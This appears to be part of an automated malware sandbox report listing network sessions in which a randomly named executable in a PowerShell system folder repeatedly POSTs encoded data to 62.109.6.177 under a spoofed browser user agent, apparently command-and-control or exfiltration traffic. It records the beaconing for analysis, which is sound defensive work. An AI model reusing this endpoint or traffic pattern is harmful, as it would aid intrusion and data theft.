Jan 4, 2025 13:38:08.090311050 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50649	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:08.219494104 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:08.577984095 CET	2584	OUT	Data Raw: 55 55 5f 58 5b 59 52 5b 5d 59 52 51 5a 5e 55 56 5f 5d 5c 41 50 57 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_X[YR[]YRQZ^UV_]\APWV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)/")_& )91^6*'('49'(W))3#0(',.\/'^.-
Jan 4, 2025 13:38:08.928889990 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:09.062423944 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50655	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:09.188891888 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:09.546694040 CET	2584	OUT	Data Raw: 50 5b 5a 58 5e 5c 57 5b 5d 59 52 51 5a 54 55 51 5f 5f 5c 49 50 51 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[ZX^\W[]YRQZTUQ__\IPQVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=< :"]1#9^*\&6$5\'3'41W&:,);73'Y1.\/'^.
Jan 4, 2025 13:38:09.885103941 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:10.015247107 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50662	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:10.142195940 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:10.499819994 CET	2584	OUT	Data Raw: 50 53 5f 59 5b 5f 52 58 5d 59 52 51 5a 58 55 50 5f 5a 5c 41 50 5c 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_Y[_RX]YRQZXUP_Z\AP\VS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.B>?#79"%0&=* 708$_2'!U'988^741<.\/'^.5
Jan 4, 2025 13:38:10.851274967 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:10.982305050 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50671	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:11.110016108 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:11.468640089 CET	2584	OUT	Data Raw: 50 57 5a 5c 5e 59 52 5b 5d 59 52 51 5a 5b 55 51 5f 5d 5c 47 50 54 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PWZ\^YR[]YRQZ[UQ_]\GPTV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-4"^& %]="6$$8&.$)+>94 1<.\/'^.9
Jan 4, 2025 13:38:11.807373047 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:11.943985939 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50678	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:12.036782026 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50679	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:12.061813116 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:12.406519890 CET	2584	OUT	Data Raw: 50 50 5f 5f 5e 58 57 50 5d 59 52 51 5a 5a 55 52 5f 54 5c 49 50 54 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PP__^XWP]YRQZZUR_T\IPTV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C><0#9!2"*:"6%]'^&1$: R))/" %.\/'^.
Jan 4, 2025 13:38:12.821621895 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:12.950537920 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50685	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:13.078560114 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:13.438733101 CET	2584	OUT	Data Raw: 55 56 5f 5b 5e 5c 57 50 5d 59 52 51 5a 5f 55 56 5f 58 5c 46 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UV_[^\WP]YRQZ_UV_X\FPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.> 9=$3>)954=^$(3&B:3 R*/ 03^2,.\/'^.)
Jan 4, 2025 13:38:13.761744022 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:13.891275883 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50692	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:14.031949043 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:14.390501976 CET	2584	OUT	Data Raw: 55 56 5f 5a 5b 58 57 5b 5d 59 52 51 5a 5a 55 53 5f 59 5c 42 50 53 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UV_Z[XW[]YRQZZUS_Y\BPSVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C=3452.(:1"$;'&4*0,T)<Y#?]'<.\/'^.
Jan 4, 2025 13:38:14.723258018 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:14.850639105 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50700	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:14.973647118 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:15.328022003 CET	2584	OUT	Data Raw: 50 50 5a 5c 5e 5c 52 5b 5d 59 52 51 5a 55 55 53 5f 5f 5c 45 50 5d 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PPZ\^\R[]YRQZUUS__\EP]VR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-(,"%%:=!4\08Y'4-3: T()<\ ?'<.\/'^.
Jan 4, 2025 13:38:15.666574001 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:15.796407938 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50708	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:15.921189070 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:16.275609970 CET	2584	OUT	Data Raw: 55 56 5f 5e 5b 5c 57 5b 5d 59 52 51 5a 55 55 55 5f 5c 5c 44 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UV_^[\W[]YRQZUUU_\\DPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)?$#9"Z% =:>"4-_0;0X2$&9*9<_ %.\/'^.
Jan 4, 2025 13:38:16.610254049 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:16.738667965 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50714	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:16.861835957 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50715	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:17.068278074 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:17.421767950 CET	1904	OUT	Data Raw: 50 5a 5f 5c 5e 52 52 5a 5d 59 52 51 5a 58 55 5d 5f 58 5c 48 50 57 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_\^RRZ]YRQZXU]_X\HPWV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A> 9>&>=!B!\3(Y12&9'))X41<.\/'^.5
Jan 4, 2025 13:38:17.774264097 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:17.924128056 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 5b 23 3e 2e 02 37 3d 0a 19 33 00 3f 54 36 2b 3e 40 2d 0f 06 5e 31 1a 3d 5e 2b 1c 34 0f 35 2a 3e 02 28 11 05 1e 31 30 26 0b 27 3a 2c 5b 04 1f 20 42 35 2f 0c 07 39 2f 2b 1a 38 32 03 5b 33 03 24 12 3d 02 2b 54 36 0d 27 00 28 3a 07 1a 33 29 2f 1e 3e 03 33 19 24 1e 0d 02 32 3b 2b 5e 02 15 27 02 3d 03 08 1d 22 00 04 02 25 31 2a 55 27 25 3c 57 20 28 02 0d 2a 2a 3e 5c 27 3f 05 0b 20 37 2d 5e 35 11 31 02 20 3b 23 1b 24 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %[#>.7=3?T6+>@-^1=^+45>(10&':,[ B5/9/+82[3$=+T6'(:3)/>3$2;+^'="%1U'%<W (**>\'? 7-^51 ;#$9%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50718	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:17.187289953 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:17.546781063 CET	2584	OUT	Data Raw: 50 5a 5f 5b 5e 5c 52 5f 5d 59 52 51 5a 5c 55 55 5f 54 5c 40 50 5d 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_[^\R_]YRQZ\UU_T\@P]VX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-<")!&6:5=\3 &"$ S()+ &.\/'^.%
Jan 4, 2025 13:38:17.917299986 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:18.050724030 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50726	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:18.172651052 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:18.531157017 CET	2584	OUT	Data Raw: 50 55 5f 50 5e 5e 57 5b 5d 59 52 51 5a 5f 55 54 5f 58 5c 43 50 50 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_P^^W[]YRQZ_UT_X\CPPV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->?#9%2==>!'9%(^&-0$V=)$Y#$2,.\/'^.)
Jan 4, 2025 13:38:18.885516882 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:19.019323111 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50734	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:19.430558920 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:19.781125069 CET	2580	OUT	Data Raw: 55 52 5f 50 5e 53 57 59 5d 59 52 51 5a 5d 55 52 5f 5d 5c 43 50 5d 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_P^SWY]YRQZ]UR_]\CP]VS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)/ [49&^1>*:.!$$^31B&')0R>:?"3?%<.\/'^.9
Jan 4, 2025 13:38:20.113126040 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:20.242810011 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50743	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:20.362576008 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
